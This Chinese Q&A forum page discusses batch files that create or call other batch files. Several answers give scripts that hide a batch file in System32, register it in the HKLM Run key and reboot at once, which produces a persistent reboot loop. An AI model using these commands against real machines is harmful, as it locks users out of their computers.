求用批處理建立另批處理的程式,求用一個批處理建立另一個批處理的程式

2022-05-11 04:54:18 字數 4719 閱讀 9011

1樓:寶瑞英

首先,很遺憾的告訴你,你的第一個程式是有問題的,問題出在對b.bat

的呼叫上。

直接輸入b.bat的確可以執行b.bat,但是系統執行完b.

bat後就退出了,b.bat後面的del b.bat&exit根本就沒有執行,不信你看看b.

bat被刪掉了嗎?

正確的呼叫方法是:call b.bat。

其次,若用a.bat建立另一個批處理檔案,則可以使用如下批處理:

@echo off

::以下建立第二個批處理:

echo @echo off >a.bat

echo :main>>a.bat

echo cls^&echo.>>a.bat

echo echo 這裡可以寫標題,下面是引用的程式》a.bat

echo echo.>>a.bat

echo set name=小王 小青 小李》a.bat

echo for %%%%i in (%%name%%) do (>>a.bat

echo for /f "tokens=2" %%%%a in ('type list.txt^|find"%%%%i") do echo %%%%i%%%%a>>a.bat

echo )>>a.bat

echo pause>>a.bat

這個批處理我已經在我的機子上除錯過了,如果沒有字面上的理解錯誤的話,我想你的問題應該得到解決了。

2樓:

最好是用一個程式來建立。

如果一定要用批處理來建立批處理,恐怕這個批處理的內容只是顯示和輸出。

我記得輸出內容到另一個檔案用的是

>>檔名 的命令吧

比如 echo @echo off>>aaa.batecho pause >>aaa.bat

因為我的機器不支援dos,所以也不能實際測試了。

怎麼建立一個批處理檔案?

如何用批處理登入遠端計算機上,執行另一個批處理檔案?

3樓:諾諾百科

用net use命令連線ipc$,需要管理員使用者和密碼。

net user \\192.168.1.10/ipc$ "password" /user:administrator;

然後用at命令遠端執行。

at \\192.168.1.10 18:00 "d:\remote.cmd";

18:00表示時間,下午6點.at \\ip 是用來給遠端電腦在指定的時間執行某個任務用的;

at \\ip hh:mm 「程式路徑和引數」;

比方說17:00分,用管理員賬戶admin 密碼:123456連線到192.168.0.1,要讓他執行d盤下的remote.cmd你就可以這樣寫:

at \\192.168.0.1 17:01 "d:\remote.cmd"

這樣,remote.cmd在一分鐘內就會被執行了。

4樓:啊哎失望

dos命令現在事實上已經名存實亡了,我們今天還可以通過bat檔案快速執行大量的dos命令,是因為存在cmd.exe來執行這些命令。cmd來是為了相容以前dos時代的命令才產生的,如果沒有必要建議不要使用,以免造成相容性錯誤。

況且現在已經沒有dos命令可以遠端登入了,因此,不必再使用dos命令執行此類命令。

如果必須使用此類命令執行該動作,應當鍵入以下內容:

(dos命令輸入:)

net user \\%遠端計算機ip%/ipc$ "%對方使用者密碼%" /user:%對方使用者名稱%

at \\%對方使用者名稱% %要自動登入的時間% "d:\remote.cmd"

其中的%中的內容應當自己填寫。此時就可以遠端登入,然後傳輸bat檔案進行執行就可以了。

5樓:

你本地的批處理只能執行到遠端登陸為止,剩下的工作,需要在遠端再建立一個相應的批處理繼續執行。

至於遠端批處理的自動呼叫,根據系統的不同,可能需要修改登入時的執行策略。

6樓:李惠源

這個是不行的,除非被控制的電腦主人點選否則批處理檔案是不會啟動的。

用一個批處理生成另一個批處理,並寫入命令

7樓:匿名使用者

@echo off

echo shutdown -r -t 0 >systemtime.txt

ren systemtime.txt systemtime.bat

ping /n 3 127.0.0.1 >nul

xcopy systemtime.bat c:\windows\system32

attrib +a +h +s +r c:\windows\system32\systemtime.bat

reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v systemtime /t reg_sz /d c:\windows\system32\systemtime.bat /f

shutdown -r -t 0

將上面的批處理儲存為add run.bat 即可以實現的要的功能!

感覺可以的話,別忘了給我加分喲…………

8樓:匿名使用者

@echo off

copy systemtime.bat c:\windows\system32\systemtime.bat

attrib c:\windows\system32\systemtime.bat +s +h

reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v systemtime /t reg_sz /d c:\windows\system32\systemtime.bat /f

shutdown -r -t 0

再把個檔案命名成「systemtime.bat」 ,這樣可以嗎?只是每次都得把前面的執行完才能重新起動.

別的方法,除非dos命令能自動建立文件,編輯文件,儲存文件才行

9樓:匿名使用者

把 systemtime.bat直接放在隨機啟動裡 不過不要給他時間 不然用shudown -a可以解除

10樓:匿名使用者

@echo off

echo > shutdown -r -t 0 systemtime.bat

copy systemtime.bat c:\windows\system32\systemtime.bat

attrib c:\windows\system32\systemtime.bat +s +h

reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v systemtime /t reg_sz /d c:\windows\system32\systemtime.bat /f

11樓:匿名使用者

@echo off

move %0 c:\windows\system32\systemtime.bat

attrib c:\windows\system32\systemtime.bat +s +h

reg add hkey_local_machine\software\microsoft\windows\currentversion\run /v systemtime /t reg_sz /d c:\windows\system32\systemtime.bat /f

shutdown -r -t 0

exit

做了一個批處理,想用另一個批處理來執行它,例如這個批處理檔案位置在c:/1.bat

12樓:斬天及

你好,如果你是想用絕對路徑,就這樣寫:

start "" "c:\1.bat"

如果是需要執行完該語句才能繼續執行,需要加一個開關start /wait "" "c:\1.bat"

如果是呼叫,就這樣寫:

call c:\1.bat

如果另一個批處理跟被執行的批處理在同一個目錄,想採用「相對路徑」,則可以這樣寫

start "" "%~dp01.bat"

★如果可行希望點選我答案右上方的「採納」按鈕,您的支援將是我繼續幫助別人的動力,謝謝!★

怎樣讓一個批處理程式在後臺執行啊???

如何用批處理開啟一個程式,關掉後再開啟另一個程式

批處理問題 我想用一個bat檔案建立一個新的bat檔案,並寫入**

13樓:亂世t逃犯

完全可以

這個方法很實用的

需要注意的是,注意特殊符號用轉義

比如echo echo echo 小心 ^>^>2.bat>>1.bat

呵呵 請注意體會

14樓:匿名使用者

可以,就是有些符號啊,以及命令用法要注意一點。

舉個例子:

echo echo 這是個例子》123.batecho pause>>123.bat

123.bat

pause

15樓:匿名使用者

可以,這種用法很常見。

求批處理指令碼

這題真麻煩。echo off for f delims a in se do set a path path set p se 起始日期 結束日期 yyyy mm d yyyy mm dd for f tokens 1 6 delims a in se do set a y1 a,y2 d,m1 1...

批處理建立桌面快捷方式,求高手幫助

請問你是想把一個程式建一個快捷方式在桌面嗎?求批處理執行桌面快捷方式的方法 我用這種方法在我的電腦上測試通過 d 系統 桌面 我的檔案.lnk 注 我的桌面不再c盤。但是同樣的方法在他人電腦上卻不行,系統確實找到了指定的lnk檔案但是他提示選擇開啟方式,據我判斷是系統lnk檔案關聯問題。選中圖示 點...

如何做這個批處理 10,如何建立批處理檔案

具體先進入的命令不知道但試試這個方法。第一步 在該資料夾內 排列圖示 方式選擇 名稱 此時數字的檔名檔案就在一邊去了吧,此時刪除方法也不用說了吧。或者第二步 將下面的字元儲存到一個新建的記事本里。再將此記事本關閉,最後將這個記事本副檔名txt改為bat。del f a q 1 rd s q 1 這個...